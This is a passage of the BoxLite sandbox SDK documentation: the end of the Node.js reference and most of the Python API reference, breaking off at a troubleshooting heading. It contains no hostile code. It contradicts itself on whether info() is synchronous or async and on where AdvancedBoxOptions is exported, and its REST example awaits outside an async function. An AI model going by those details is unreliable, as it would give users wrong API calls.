"https://api.boxlite.ai", credential: new ApiKeyCredential(""), // TODO: replace pathPrefix: "acme", // -> requests hit /v1/acme/boxes })); ``` When `pathPrefix` is unset, the client builds URLs without the segment (`/v1/boxes/…`) — the canonical shape for single-tenant deployments such as the local `boxlite serve` reference server. (The CLI captures `Principal.path_prefix` at login and caches it under the active profile, so subsequent `boxlite` commands route correctly without an extra flag.) ### Metric fields (note: named differently from Python/C/Go) `JsRuntimeMetrics`: | Field | Type | Notes | | - | - | - | | `boxesCreatedTotal` | `number` | Cumulative created | | `boxesFailedTotal` | `number` | Creation failures | | `numRunningBoxes` | `number` | Currently running (**not** `activeBoxes`) | | `totalCommandsExecuted` | `number` | Cumulative commands | | `totalExecErrors` | `number` | Cumulative execution errors | `JsBoxMetrics` (partial): | Field | Type | Notes | | - | - | - | | `commandsExecutedTotal` / `execErrorsTotal` | `number` | Per-box counts | | `bytesSentTotal` / `bytesReceivedTotal` | `number` | stdin/stdout bytes | | `cpuPercent` | `number?` | CPU percentage | | `memoryBytes` | `number?` | Memory bytes (**not** `memoryUsageBytes`) | | `networkBytesSent` / `networkBytesReceived` | `number?` | Network bytes | | `guestBootDurationMs` / `totalCreateDurationMs` | `number?` | Timings (milliseconds) | ### `JsBoxInfo` / state `await box.info()` returns `JsBoxInfo`: `{ id, name?, state: JsBoxStateInfo, createdAt, image, cpus, memoryMib, healthStatus }`. > `cpus` / `memoryMib`: the configured resource values. To read the real allocation, run `nproc` / read `/proc/meminfo` inside the box. State lives in `JsBoxStateInfo`: `{ status: string; running: boolean; pid?: number }`. Correct access: `box.info().state.status`. *** ## Troubleshooting ### Package name / import error ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Error: Cannot find module 'boxlite' ``` Cause: wrong package name. The correct name is `@boxlite-ai/boxlite`. Likewise, `import { Boxlite } from '@boxlite/sdk'` is entirely wrong (neither the package nor the class name exists) — the runtime class is `JsBoxlite`. ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} SyntaxError: Cannot use import statement outside a module ``` Cause: the SDK is ESM-only. Rename the file to `.mjs`, or add `"type": "module"` to `package.json`; CommonJS projects should use a dynamic `import()`. ### Passing a string for a volume's `readOnly` If you carry over the CLI's `ro`/`rw` syntax or write `readOnly` as a string, the native layer's type conversion fails (a napi error, thrown as a **bare `Error`**): ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Error: Failed to convert napi value into rust type `bool` on JsVolumeSpec.readOnly on JsBoxOptions.volumes ``` > Note: the Node-side error is the napi message above, **not** the Python-side `TypeError: 'str' object cannot be cast as 'bool'` (that one is the Python binding's message). Fix: `readOnly` is a **boolean** — `{ hostPath, guestPath, readOnly: true }` (read-only) or `false`/omitted (read-write). `ro`/`rw` is only the CLI's syntax (`boxlite -v host:box:ro`) and is unrelated to the SDK's boolean field. ### A non-zero exit code does not raise `exec` reports a non-zero exit through `exit_code` / `exitCode`, not by raising. See [Error Handling](/guides/error-handling#troubleshooting). ### Command not found / startup failure throws a bare `Error` When a command is not found, the thrown value is a **bare `Error`** (`instanceof BoxliteError === false`), with a message like `internal error: spawn_failed: ...`; image pull failures and missing virtualization also throw a standard `Error`. So you should **not** rely solely on `catch (e) { if (e instanceof ExecError) ... }` — that misses these cases. Use a general fallback: ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} try { await box.exec("this-command-does-not-exist"); } catch (err) { // May be an ExecError/TimeoutError, or a bare Error console.error("execution error:", err instanceof Error ? err.message : String(err)); } ``` `ExecError`/`TimeoutError`/`ParseError` are still thrown by some wrapper-layer APIs (for example, `ComputerBox.cursorPosition` throws `ParseError` on a parse failure) and can be handled specifically; but the low-level exec path mostly throws bare `Error`. ### Accessing a sync getter before creation ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Error: Box not yet created. Call exec() first or use getId() async method. ``` Cause: the box is created lazily, so the sync `box.id` getter is unavailable before the first `exec()`/`start`. Use `await box.getId()` / `await box.getInfo()` instead, or run one command first. (`box.info()` is itself async — `await` it.) ### Startup failure in a non-virtualization environment On Linux without KVM, or on macOS Intel, the VM cannot start, and `exec()` throws (the process does not crash; the error can be caught). * Linux: confirm `/dev/kvm` exists and the current user is in the `kvm` group (`ls -l /dev/kvm`). * macOS: requires Apple Silicon (uses Hypervisor.framework, no KVM needed); Intel Macs are not supported. * Windows: runs via WSL2 + KVM; native Windows is not supported. ### BrowserBox connection needs `playwright-core` `playwright-core` is an optional peerDependency; without it, `import { chromium } from "playwright-core"` fails. Only BrowserBox needs it: `npm install playwright-core`. Also, `endpoint()` (direct CDP) does not support WebKit; use `playwrightEndpoint()` for WebKit. *** ### `Cannot find package 'boxlite'` / module not found The package name has a scope. Both install and import must use `@boxlite-ai/boxlite`: ```javascript theme={"theme":{"light":"github-light","dark":"github-dark"}} // Wrong import { SimpleBox } from "boxlite"; // does not exist // Correct import { SimpleBox } from "@boxlite-ai/boxlite"; ``` ## See Also * [Python SDK reference](/reference/python) * [SDK reference overview](/reference/index) # Python SDK reference Source: https://docs.boxlite.ai/reference/python Complete class / method / parameter / return / exception reference. All signatures and defaults follow the latest published BoxLite source (pip install boxlite; check the installed version with pip show boxlite). Optional extras: | Extra | Install | | - | - | | Sync API | `pip install "boxlite[sync]"` (depends on greenlet) | | Orchestration API | `pip install "boxlite[orchestration]"` (depends on cloudpickle) | ## What the Python SDK gives you The BoxLite Python SDK lets you run any command, Python code, browser session, or desktop session inside an isolated microVM sandbox in a few lines of code, combining Docker-like ergonomics with VM-level isolation boundaries. This page is the authoritative, user-facing **API reference** — use it to look up how a class is constructed, what parameters a method accepts, what it returns, and which exceptions it may raise. Typical use cases: running untrusted code, giving an AI agent a disposable execution environment, isolating CI jobs, and automating a browser or desktop. ## Quick Example (minimal happy path) The following can be copied and run directly. `SimpleBox` is the recommended entry path and supports lazy creation and automatic cleanup. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio from boxlite import SimpleBox, ExecError async def main() -> None: try: # The sandbox is created and started only when entering the async with block async with SimpleBox(image="alpine:latest") as box: result = await box.exec("echo", "hello from boxlite") # A non-zero exit code does not raise; check exit_code yourself if result.exit_code != 0: raise ExecError("echo", result.exit_code, result.stderr) print(result.stdout.strip()) # -> hello from boxlite except RuntimeError as e: # Environment issues such as image pull failure / missing virtualization raise a standard RuntimeError print(f"box failed to start: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ## Parameters & Returns (core API reference) ### Package entry and exports ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import boxlite print(boxlite.__version__) # reads importlib.metadata.version("boxlite") ``` The main symbols importable via the top-level `from boxlite import ...`: | Category | Symbols | | - | - | | Runtime / options (native PyO3) | `Boxlite`, `Options`, `BoxOptions`, `ImageRegistry`, `NetworkSpec`, `SecurityOptions`, `Secret`, `BoxliteRestOptions`, `ApiKeyCredential`, `AccessToken`, `Credential` | | Box handle / execution (native) | `Box`, `Execution`, `ExecStdout`, `ExecStderr`, `BoxInfo`, `BoxStateInfo`, `BoxMetrics`, `RuntimeMetrics`, `HealthState`, `HealthStatus` | | High-level wrappers (Python layer) | `SimpleBox`, `CodeBox`, `BrowserBox`, `BrowserBoxOptions`, `ComputerBox`, `InteractiveBox`, `SkillBox`, `ExecResult` | | Exceptions | `BoxliteError`, `ExecError`, `TimeoutError`, `ParseError` | | Snapshot / export | `SnapshotHandle`, `SnapshotInfo`, `SnapshotOptions`, `CloneOptions`, `ExportOptions`, `CopyOptions`, `HealthCheckOptions` | > Note: `AdvancedBoxOptions` is exported at the top level — `from boxlite import AdvancedBoxOptions` (see [4.7 Security options](#security-options-securityoptions-advancedboxoptions)). ### `Boxlite` (runtime handle) The runtime is responsible for creating, querying, and removing sandboxes. It is a **synchronous context manager** (`with`, not `async with`), but its **data methods are asynchronous** — `create` / `get` / `get_info` / `list_info` / `remove` / `metrics` / `shutdown` and similar return an `_asyncio.Future` and **must be awaited inside an event loop** (a plain `for info in runtime.list_info()` raises `RuntimeError: no running event loop`). Only `close()` releases the runtime synchronously. > Note: call `await runtime.list_info()` inside an `async def`. In addition, **only one runtime instance can exist for a given `BOXLITE_HOME` (default `~/.boxlite`) at a time** — constructing a second one (for example, calling `Boxlite.default()` and then `Boxlite(Options(...))` without first calling `close()` on the former) raises `RuntimeError: ... Another BoxliteRuntime is already using directory`. Constructors and factories: | Factory | Signature | Notes | | - | - | - | | Constructor | `Boxlite(options: Options)` | Custom runtime | | `Boxlite.default()` | `() -> Boxlite` | Default configuration (data directory `~/.boxlite`) | | `Boxlite.init_default(options)` | `(Options) -> Boxlite` | Initialize the global default runtime | | `Boxlite.rest(options)` | `(BoxliteRestOptions) -> Boxlite` | Connect to a remote BoxLite REST service | Instance methods: | Method | Signature | Returns | Notes | | - | - | - | - | | `create` | `(options: BoxOptions, name: str = None)` | `Box` | Create a new sandbox | | `get_or_create` | `(options: BoxOptions, name: str = None)` | `(Box, bool)` | Returns `(box, created)`; `created=False` means an existing sandbox with the same name was reused | | `get` | `(id_or_name: str)` | `Box \| None` | Reattach by ID or name | | `get_info` | `(id_or_name: str)` | `BoxInfo` | Query metadata for a single sandbox | | `list_info` | `(_state=None)` | `list[BoxInfo]` | List all sandboxes (newest first). **Not `list()`** | | `remove` | `(id_or_name: str, force: bool = False)` | `None` | Remove a sandbox. **Called on the runtime, not `box.remove()`** | | `import_box` | `(archive_path: str, name: str = None, *, untrusted: bool = False)` | `Box` | Import from an archive. Server implementations handling uploaded bytes must pass `untrusted=True`, which rejects host-only features and filesystem paths | | `metrics` | `()` | `RuntimeMetrics` | Runtime-level metrics | | `shutdown` | `(timeout: int = None)` | `None` | Graceful shutdown (None = 10s, -1 = wait indefinitely) | | `close` | `()` | `None` | Release the runtime | Property: `images` (image handle: `images.list()` / `images.pull(reference)`). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import Boxlite, Options, ImageRegistry async def main() -> None: # Note: data methods are async and must be awaited inside an event loop. # Only one runtime can exist per BOXLITE_HOME at a time -- pick one of the two below; do not construct both. # (A) Default runtime (data directory ~/.boxlite) runtime = Boxlite.default() # (B) Custom runtime + private registry (host without the http:// prefix); # to use this, comment out the default() above or call runtime.close() on it first. # runtime = Boxlite(Options( # image_registries=[ # ImageRegistry( # host="registry.example.com", # username="", # TODO: replace # password="", # TODO: replace # ) # ] # )) try: # List all sandboxes: list_info() is async and must be awaited; # BoxInfo.state is a BoxStateInfo whose field name is status for info in await runtime.list_info(): print(info.id, info.state.status) except Exception as e: print(f"runtime error: {e}") finally: runtime.close() # close() is synchronous if __name__ == "__main__": asyncio.run(main()) ``` ### `Options` (runtime configuration) `Options` configures the runtime itself (not an individual sandbox) and is passed to `Boxlite(...)` / `Boxlite.init_default(...)`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} Options(home_dir=None, image_registries=[]) ``` | Parameter | Type | Default | Notes | | - | - | - | - | | `home_dir` | `str \| None` | `~/.boxlite` | Base directory for all BoxLite runtime data. Passing a value overrides the runtime base directory in code; when `None`, the default applies (and the `BOXLITE_HOME` environment variable, if set, is honored). | | `image_registries` | `list[ImageRegistry]` | `[]` | Private registries to authenticate against and search for unqualified image references | The `home_dir` directory holds the on-disk state for the runtime: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} ~/.boxlite/ ├── images/ # OCI image cache (blobs, index.json) ├── boxes/ # Per-box data (config.json, disk image) ├── init/ # Shared guest rootfs ├── logs/ # Runtime logs ├── db/ # SQLite databases (boxes.db, images.db) └── lock # Filesystem lock file ``` ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import Boxlite, Options async def main() -> None: # Override the runtime base directory in code (takes precedence over the default ~/.boxlite). runtime = Boxlite(Options(home_dir="/custom/path")) try: for info in await runtime.list_info(): print(info.id) finally: runtime.close() if __name__ == "__main__": asyncio.run(main()) ``` > `home_dir` set in `Options` takes precedence over the default location. The `BOXLITE_HOME` environment variable provides the same override without code changes; use one or the other. ### `Box` (native sandbox handle, async context manager) `Box` is the low-level handle. It is an **async context manager** (`async with`); every method must be awaited, `info()` included. | Method | Signature | Notes | | - | - | - | | `start` / `stop` | `() -> None` | async; start is idempotent | | `exec` | `(command, args=None, env=None, tty=False, user=None, timeout_secs=None, cwd=None)` | async, returns `Execution`. **The timeout parameter is `timeout_secs`**; `env` is a `list[tuple[str,str]]` | | `copy_in` | `(host_path, container_dest, copy_options=None)` | async | | `copy_out` | `(container_src, host_dest, copy_options=None)` | async | | `clone_box` | `(*, options=None, name=None)` | async, returns a new `Box` | | `export` | `(*, options=None, dest)` | async | | `attach` | `(execution_id=None)` | async. **With no argument, attaches to the init session** — the `entrypoint + cmd` process — which is the only way to read its exit code. With an `execution_id`, reattaches to that exec session. Not available on `SimpleBox` or the sync API | | `info` | `() -> BoxInfo` | **synchronous**, do not await | | `metrics` | `() -> BoxMetrics` | async | Properties: `id`, `name`, `snapshot` (`SnapshotHandle`). > For most cases, prefer a high-level wrapper such as `SimpleBox` over the bare `Box`; the wrapper handles the env dict→list conversion, stdout/stderr collection, and timeout conversion automatically. ### `BoxOptions` (sandbox configuration) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} BoxOptions( image=None, rootfs_path=None, cpus=None, memory_mib=None, disk_size_gb=None, working_dir=None, env=[], volumes=[], network=None, ports=[], auto_remove=None, detach=None, auto_stop=None, auto_delete=None, auto_resume=None, entrypoint=None, cmd=None, user=None, advanced=None, secrets=[], ) ``` | Parameter | Type | Required | Default | Notes | | - | - | - | - | - | | `image` | `str` | one of image/rootfs\_path | — | OCI image reference, e.g. `"alpine:latest"` | | `rootfs_path` | `str` | one of image/rootfs\_path | — | Path to a local OCI image layout directory (the on-disk form of a container image); an alternative to `image` | | `cpus` | `int` | optional | `None` (see note) | Number of CPU cores. When unset, the runtime allocates 1 vCPU | | `memory_mib` | `int` | optional | `None` (see note) | Memory in MiB. When unset, the runtime allocates 1024 MiB | | `disk_size_gb` | `int` | optional | `None` | Persistent disk size (None = ephemeral) | | `working_dir` | `str` | optional | image config | Working directory inside the container | | `env` | `list[tuple[str,str]]` | optional | `[]` | Environment variables (list of (key, value) tuples) | | `volumes` | `list[tuple]` | optional | `[]` | Volume mounts; see [4.6](#volumes) | | `network` | `NetworkSpec` | optional | enabled, no outbound restriction | Network configuration | | `ports` | `list[tuple]` | optional | `[]` | Port forwarding `(host_port, guest_port, protocol)` | | `auto_remove` | `bool` | optional | `True` (in the high-level wrappers) | Auto-clean on stop | | `detach` | `bool` | optional | `False` | Survive parent-process exit | | `advanced` | `AdvancedBoxOptions` | optional | `None` | **Security / health-check container**; see [4.7](#security-options-securityoptions-advancedboxoptions) | | `secrets` | `list[Secret]` | optional | `[]` | Outbound HTTP(S) credential substitution; see [4.8](#secrets-vault) | > **On the `cpus` / `memory_mib` defaults**: when unset, the SDK passes `None` and the runtime applies **1 vCPU / 1024 MiB** (`vm_defaults` in `src/boxlite/src/runtime/constants.rs`). The module-level `DEFAULT_CPUS` / `DEFAULT_MEMORY_MIB` constants are reference values and are not applied on this path. Production code should pass these values explicitly. See [Compute resources](/manage-sandbox/compute-resources). `NetworkSpec`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import NetworkSpec # Enable networking, allowing only the specified hosts network = NetworkSpec(mode="enabled", allow_net=["api.openai.com"]) # Fully disable networking (removes the guest network interface) network_off = NetworkSpec(mode="disabled") ``` ### Volumes The third element is a **bool `read_only`** (`True` = read-only / `False` = read-write), **not the string `"ro"` / `"rw"`**. A 2-tuple also works (defaults to read-write). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import BoxOptions opts = BoxOptions( image="alpine:latest", volumes=[ ("/host/config", "/etc/app/config", True), # read-only ("/host/data", "/mnt/data", False), # read-write ("/host/cache", "/mnt/cache"), # 2-tuple = read-write by default ], ) ``` > The CLI's `-v host:box:ro` string syntax belongs to the CLI parsing layer and differs from the SDK's bool. Do not mix the two. ### Security options (`SecurityOptions` + `AdvancedBoxOptions`) Security configuration is passed via the `advanced` parameter; there is **no** top-level `security=` keyword. `AdvancedBoxOptions` is only available under the `boxlite.boxlite` module. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import BoxOptions, SecurityOptions from boxlite import AdvancedBoxOptions opts = BoxOptions( image="alpine:latest", advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()), ) ``` `SecurityOptions` presets (staticmethods): | Preset | Notes | | - | - | | `SecurityOptions.development()` | Weakest isolation (for development) | | `SecurityOptions.standard()` | Standard isolation | | `SecurityOptions.maximum()` | Strongest isolation | > There is no `SecurityOptions.minimum()`; the weak preset is called `development()`. `AdvancedBoxOptions(security=None, health_check=None)` also accepts a `HealthCheckOptions`. ### Secrets (vault) `secrets` is the real entry point for outbound credential substitution. For requests the sandbox sends to the specified `hosts`, BoxLite replaces `placeholder` with the real `value`, keeping plaintext credentials out of the sandbox filesystem. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import BoxOptions, Secret opts = BoxOptions( image="alpine:latest", secrets=[ Secret( name="openai", value="", # TODO: replace hosts=["api.openai.com"], # placeholder defaults to "" ) ], ) ``` ### `SimpleBox` (recommended entry, async context manager) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} SimpleBox( image=None, rootfs_path=None, memory_mib=None, cpus=None, runtime=None, name=None, auto_remove=True, reuse_existing=False, **kwargs, # forwarded to BoxOptions: env, volumes, ports, working_dir, network, secrets... ) ``` | Parameter | Type | Required | Default | Notes | | - | - | - | - | - | | `image` | `str` | one of image/rootfs\_path | — | Image | | `rootfs_path` | `str` | one of image/rootfs\_path | — | Path to a local OCI image layout directory (the on-disk form of a container image); an alternative to `image` | | `memory_mib` | `int` | optional | system default | Memory in MiB | | `cpus` | `int` | optional | system default | Number of CPU cores | | `runtime` | `Boxlite` | optional | global default | Runtime instance | | `name` | `str` | optional | `None` | Unique name | | `auto_remove` | `bool` | optional | `True` | Clean up on stop | | `reuse_existing` | `bool` | optional | `False` | Reuse instead of erroring when a same-named sandbox exists | > Validation on construction: at least one of `image` and `rootfs_path` must be provided, otherwise it raises `ValueError`. The sandbox is **created lazily** — create/start happens only when you enter the `async with`. Methods: | Method | Signature | Returns | Notes | | - | - | - | - | | `start` | `()` | `Self` | async, equivalent to entering the CM | | `exec` | `(cmd, *args, env=None, user=None, timeout=None, cwd=None)` | `ExecResult` | async. **The timeout parameter is `timeout` (float seconds)**; `env` takes a **dict** | | `copy_in` | `(host_path, container_dest, *, overwrite=True, follow_symlinks=False, include_parent=True)` | — | async | | `copy_out` | `(container_src, host_dest, *, ...)` | — | async | | `stop` / `shutdown` | `()` | `None` | async (`shutdown` is an alias for `stop`) | | `info` | `() -> BoxInfo` | `BoxInfo` | **synchronous** | Properties: `id` (accessing before start raises `RuntimeError`), `created` (whether newly created; `None` before start). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, ExecError async def main() -> None: try: async with SimpleBox(image="python:slim", memory_mib=1024) as box: result = await box.exec("python", "-c", "print('Hello!')") print(result.stdout) # "Hello!\n" print(result.exit_code) # 0 # Per-command options: env takes a dict, timeout is a float in seconds result = await box.exec("env", env={"FOO": "bar"}) result = await box.exec("pwd", cwd="/tmp") result = await box.exec("whoami", user="nobody") result = await box.exec("sleep", "30", timeout=2.0) if result.exit_code != 0: raise ExecError("sleep", result.exit_code, result.stderr) except RuntimeError as e: print(f"box error: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ### `CodeBox` (Python code execution, subclass of SimpleBox) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} CodeBox(image="python:slim", memory_mib=None, cpus=None, runtime=None, **kwargs) ``` Default image `python:slim`. Additional methods: | Method | Signature | Returns | Notes | | - | - | - | - | | `run` | `(code: str, timeout: int = None)` | `str` (stdout) | async. Internally runs `/usr/local/bin/python -c `. **`timeout` is accepted but not enforced** | | `run_script` | `(script_path: str)` | `str` | async, reads a host script and runs it | | `install_package` | `(package: str)` | `str` | async, `pip install` output | | `install_packages` | `(*packages: str)` | `str` | async | > Also inherits all of `SimpleBox`'s exec/copy/start/stop/info. `CodeBox.run`'s `timeout` is an `int`, whereas `SimpleBox.exec`'s `timeout` is a `float` (inconsistent name/type). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import CodeBox async def main() -> None: try: async with CodeBox() as cb: await cb.install_package("requests") out = await cb.run( "import requests; print(requests.get('https://api.github.com/zen').text)" ) print(out) except RuntimeError as e: print(f"codebox error: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ### Specialized box cheat sheet All inherit from `SimpleBox` and are async context managers. See the dedicated topic pages for full method lists. | Class | Default image | Default resources | Key methods | | - | - | - | - | | `BrowserBox` | `mcr.microsoft.com/playwright:v1.58.0-jammy` | mem 2048 / cpu 2 | `playwright_endpoint(timeout=60)`, `endpoint(timeout=60)`, `connect(timeout=60)` | | `ComputerBox` | `lscr.io/linuxserver/webtop:ubuntu-xfce` | mem 2048 / cpu 2, GUI ports 3000/3001 | `wait_until_ready`, `screenshot`, `mouse_move`, `left_click`, `type`, `key`, `scroll`, `get_screen_size` | | `InteractiveBox` | set via the required `image` argument | — | `wait()` (bidirectional PTY forwarding; with `tty=None`, auto-detects `sys.stdin.isatty()`) | | `SkillBox` | `ghcr.io/boxlite-ai/boxlite-skillbox:0.1.0` | mem 4096 / disk 10GB | `wait_until_ready`, `call(prompt)`, `install_skill(skill_id)`. Requires `oauth_token` or `CLAUDE_CODE_OAUTH_TOKEN` | > `BrowserBox`'s `playwright_endpoint()` (Playwright Server, all browsers) and `endpoint()` (direct CDP/BiDi, WebKit not supported) are two mutually exclusive modes. #### `ComputerBox` desktop methods All are `async`. Coordinates are in screen pixels; call `get_screen_size()` first if you need bounds. | Method | Signature | Returns | Description | | - | - | - | - | | `wait_until_ready` | `(timeout: int = 60)` | `None` | Block until the desktop and its GUI ports are reachable | | `screenshot` | `()` | `dict` | `data` (base64 PNG) plus `width` / `height` / `format` | | `get_screen_size` | `()` | `tuple[int, int]` | Desktop resolution | | `cursor_position` | `()` | `tuple[int, int]` | Current pointer position | | `mouse_move` | `(x: int, y: int)` | `None` | Move the pointer | | `left_click` / `right_click` / `middle_click` / `double_click` / `triple_click` | `()` | `None` | Click at the current pointer position — move first | | `left_click_drag` | `(start_x: int, start_y: int, end_x: int, end_y: int)` | `None` | Press, drag, release | | `type` | `(text: str)` | `None` | Type a string | | `key` | `(text: str)` | `None` | Press a key or chord, e.g. `"ctrl+c"` | | `scroll` | `(x: int, y: int, direction: str, amount: int = 3)` | `None` | Scroll at a position; `direction` is `up` / `down` / `left` / `right` | #### `InteractiveBox` and `SkillBox` methods | Class | Method | Signature | Returns | Description | | - | - | - | - | - | | `InteractiveBox` | `wait` | `()` | `None` | Forward stdin/stdout until the in-box shell exits. Forwards only when the host stdin is a real TTY | | `SkillBox` | `wait_until_ready` | `(timeout: int = 60)` | `None` | Block until the in-container CLI is ready | | `SkillBox` | `call` | `(prompt: str)` | `str` | Run one turn; the session keeps context across calls | | `SkillBox` | `install_skill` | `(skill_id: str)` | `bool` | Install an additional skill | > Every other Box type also inherits `exec` / `copy_in` / `copy_out` / `start` / `stop` / `shutdown` / `info` from `SimpleBox`. ### `Execution` / streaming output (returned by the low-level `Box.exec`) Using `Box.exec` directly (not the SimpleBox wrapper) returns an `Execution`, which can be read as a stream: | Method | Signature | Notes | | - | - | - | | `stdout()` / `stderr()` | `() -> ExecStdout/ExecStderr` | async iterator, **can be iterated only once** | | `stdin()` | `() -> ExecStdin` | stdin writer | | `wait()` | `() -> ExecResult` | async, waits for completion | | `kill()` | `() -> None` | async, forcibly terminates the execution (**no arguments**) | | `signal()` | `(signal: int)` | async, sends a POSIX signal to the process (e.g. `signal(15)` sends SIGTERM) | | `resize_tty()` | `(rows, cols)` | async, only for executions with `tty=True` | | `id()` | `() -> str` | execution ID (for reconnecting via `box.attach(execution_id)`) | ### `ExecResult` (returned by the high-level wrapper) The dataclass returned by `SimpleBox.exec` / `CodeBox.exec`: | Field | Type | Notes | | - | - | - | | `exit_code` | `int` | Exit code (negative when terminated by a signal) | | `stdout` | `str` | Standard output | | `stderr` | `str` | Standard error | | `error_message` | `str \| None` | Diagnostic info when the process died abnormally; `None` on normal exit | > The low-level native `Execution.wait()` `ExecResult` only has `exit_code` (stdout/stderr must be read as streams); the high-level wrapper additionally fills in `stdout`/`stderr`. ### `BoxInfo` / `BoxStateInfo` (state access) `box.info()` is **async** and returns `BoxInfo` when awaited. State lives in a two-level structure: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} info = await box.info() # async print(info.state.status) # correct path: BoxInfo.state -> BoxStateInfo.status (str) print(info.state.running) # bool print(info.id, info.image, info.cpus, info.memory_mib) ``` | `BoxInfo` field | Type | Notes | | - | - | - | | `id` | `str` | Sandbox ID | | `name` | `str \| None` | Name | | `state` | `BoxStateInfo` | **State object (not a string)** | | `created_at` | — | Creation time | | `image` | `str` | Image | | `cpus` / `memory_mib` | `int` | The configured resource values. To read the real allocation, run `nproc` / read `/proc/meminfo` inside the box | | `health_status` | `HealthStatus` | Health status | | `BoxStateInfo` field | Type | Notes | | - | - | - | | `status` | `str` | **State string** (the field name is `status`, not `state`) | | `running` | `bool` | Whether running | | `pid` | `int \| None` | Process ID | ### Metrics (`BoxMetrics` / `RuntimeMetrics`) Field names follow the source. `BoxMetrics` (`await box.metrics()`): | Field | Type | Notes | | - | - | - | | `memory_bytes` | `int \| None` | Current memory in bytes (**not** `memory_usage_bytes`) | | `cpu_percent` | `float \| None` | CPU usage percentage (**not** `cpu_time_ms`) | | `commands_executed_total` / `exec_errors_total` | `int` | Command counts | | `bytes_sent_total` / `bytes_received_total` | `int` | Cumulative byte throughput | | `network_bytes_sent` / `network_bytes_received` | `int \| None` | Network bytes | | `guest_boot_duration_ms` / `total_create_duration_ms` | `int \| None` | Boot / create duration (milliseconds) | `RuntimeMetrics` (`runtime.metrics()`): | Field | Type | Notes | | - | - | - | | `num_running_boxes` | `int` | Number of running sandboxes (**not** `active_boxes`) | | `boxes_created_total` | `int` | Cumulative created | | `boxes_failed_total` | `int` | Cumulative failed | | `total_commands_executed` | `int` | Cumulative commands | | `total_exec_errors` | `int` | Cumulative execution errors | > `metrics()` exists only on the **native `Box`** (`from boxlite import Box`); **`SimpleBox` has no `metrics()` method**. A wrapper holds a native `Box` internally, so you can reach through with `await box._box.metrics()` — or use the native `Box` directly. For runtime-level metrics, use `await runtime.metrics()`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # box must be a native Box; for the SimpleBox wrapper, use box._box.metrics() metrics = await box.metrics() # native Box; for SimpleBox use await box._box.metrics() if metrics.memory_bytes is not None: print(f"Memory: {metrics.memory_bytes / (1024**2):.2f} MB") if metrics.cpu_percent is not None: print(f"CPU: {metrics.cpu_percent:.1f}%") ``` ### Exception types ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} BoxliteError (base class, inherits Exception) ├── ExecError # fields: command, exit_code, stderr ├── TimeoutError └── ParseError ``` | Exception | Fields | Notes | | - | - | - | | `BoxliteError` | — | Base class for all BoxLite exceptions | | `ExecError` | `command`, `exit_code`, `stderr` | Command failure (you **construct/raise it yourself**; see below) | | `TimeoutError` | — | Operation timed out | | `ParseError` | — | Output parsing failed | > Important: `exec` does **not** automatically raise `ExecError` on a non-zero exit — it returns `ExecResult(exit_code != 0)` and leaves the check to the caller. `ExecError` is a convenience exception you raise yourself after checking. Image pull failures, missing virtualization, and **command not found (spawn failure)** raise a standard `RuntimeError` (**not** `BoxliteError`; the message looks like `internal error: spawn_failed: ... executable '...' not found in $PATH`). When the sync/orchestration extras are missing: `from boxlite import SyncSimpleBox` raises **`ImportError`**, while attribute access `boxlite.SyncSimpleBox` raises **`AttributeError`**. ### Sync API (`boxlite[sync]`) After `pip install "boxlite[sync]"`, synchronous wrapper classes are available, suitable for Jupyter / existing synchronous code bases / a REPL. They **cannot** be used inside an existing event loop (inside an async function). | Async | Sync | | - | - | | `Boxlite` | `SyncBoxlite` | | `Box` | `SyncBox` | | `SimpleBox` | `SyncSimpleBox` | | `CodeBox` | `SyncCodeBox` | | `SkillBox` | `SyncSkillBox` | > Note: when the `[sync]` extras are missing, **`from boxlite import SyncSimpleBox` raises `ImportError`** (`cannot import name 'SyncSimpleBox' from 'boxlite'`), **not** `AttributeError`. Only *attribute access* (`boxlite.SyncSimpleBox`) raises `AttributeError`. So when using the `from ... import` form, put the import in a `try` and catch `ImportError`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install "boxlite[sync]" try: from boxlite import SyncSimpleBox # raises ImportError when [sync] is missing with SyncSimpleBox(image="python:slim") as box: result = box.exec("python", "-c", "print('Hello!')") print(result.stdout) except ImportError: print("Sync API unavailable; install with: pip install 'boxlite[sync]'") except RuntimeError as e: print(f"box error: {e}") ``` ### REST client (connect to a remote BoxLite service) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import os from boxlite import Boxlite, BoxliteRestOptions, ApiKeyCredential try: runtime = Boxlite.rest(BoxliteRestOptions( url="", # TODO: e.g. https://api.boxlite.ai credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), # TODO: set the environment variable )) for info in await runtime.list_info(): print(info.id, info.state.status) except KeyError: print("Please set the BOXLITE_API_KEY environment variable") except Exception as e: print(f"REST error: {e}") ``` `BoxliteRestOptions(url, credential=None, path_prefix=None)`. `path_prefix` is an opaque, deployment-defined routing segment inserted as `{url}/v1/{path_prefix}/…`; leave it `None` for single-tenant deployments such as the local `boxlite serve` reference server. See the [Node.js SDK reference](/reference/nodejs) for the full routing-prefix model. ## Troubleshooting ### Passing a string for 